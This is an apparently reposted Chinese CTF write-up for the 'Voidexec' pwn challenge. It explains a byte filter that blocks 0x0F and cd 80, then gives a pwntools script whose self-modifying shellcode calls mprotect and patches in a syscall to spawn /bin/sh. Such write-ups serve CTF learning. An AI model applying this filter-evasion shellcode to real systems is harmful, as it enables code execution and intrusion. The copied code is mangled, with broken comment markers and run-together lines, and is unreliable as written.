[PWN] Voidexec
原创
漫路修行
漫路修行
微痕鉴远
2026年6月28日 10:55
广东
在小说阅读器读本章
去阅读
题目给了libc
mmap()
接着,使用 memset() 用0初始化了 100 bytes 分配的空间。
mprotect(__s, 100, 4);
4 = PROT_READ | PROT_EXEC — removes write access, retaining execution.
程序看起来很简单,就是用户输入,经过 forbidden函数检查,然后加权限然后执行。
int64 fastcall forbidden(int64 a1){ unsigned int64 i; // [rsp+10h] [rbp-10h] for ( i = 0; i <= 0x62; ++i ) { if ( (a1 + i) == 0xF || (a1 + i) == 0xCD && *(i + 1 + a1) == 0x80 ) { puts(\"Forbidden!\"); return 1; } } return 0;}
动态链接的程序,一开始以为是ret2libc,结果发现.plt.got表是空的
仔细看程序逻辑,发现直接通过指针执行用户输入。
但在执行之前,经过一个叫forbidden函数校验:
if ( *(a1 + i) == 15 || *(a1 + i) == 0xCD && *(i + 1 + a1) == 0x80 ){ puts(\"Forbidden!\"); return 1;}
不能出现 0xF,以及 0xCD 和 0x80 不能同时出现。
我们知道,在shellcode 中 cd 80 是系统调用中断。所以不能出现这个,必须要对shellcode进行处理。
但同时,需要注意,对shellcode的长度也是有所限制:
不能超过99个bytes。
测试了一下发现,好像无法同时满足对特征码和shellcode长度的要求。
解法:
- 先利用程序里面的mprotect修改内存空间执行权限。
- shellcode变形:动态计算syscall指令避免硬编码被过滤函数扫描到。
from pwn import *context.arch = 'amd64' binary_path = './voidexec'elf = ELF(binary_path)p = process(binary_path)These offsets must be obtained from analyzing the local ELF binary#main_offset = 0x12eb # Replace with actual main offset#mprotect_offset = 0x1100 # Replace with actual mprotect PLT offset main_offset = elf.symbols.mainmprotect_offset = elf.plt['mprotect']Base address is 0xc0de0000, length 100 bytesshellcode = asm(f\"\"\"/ Compute mprotect address from r13 (holds main at runtime) /lea rbx, [r13 - {main_offset} + {mprotect_offset}]mov rdi, 0xc0de0000 / address to change perms /mov rsi, 0x64 / length /mov rdx, 0x7 / PROT_READ | WRITE | EXEC /call rbx / mprotect(addr, len, prot) // Setup execve(\"/bin/sh\", NULL, NULL) /xor rsi, rsixor rdx, rdxmov rax, 0x3b / syscall: execve /mov rdi, 0x68732f6e69622fpush rdimov rdi, rsp/ Self-modifying syscall patch /inc byte ptr [rip + syscall]inc byte ptr [rip + syscall + 1]syscall:.byte 0x0e, 0x04 / placeholder for syscall /\"\"\")print(f\"[+] Sending {len(shellcode)} bytes of shellcode...\")p.recvuntil(b\"Send to void execution:\")p.sendline(shellcode)p.interactive()
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[PWN]Voidexec"](/images/random/titlepic/8.jpg)






评论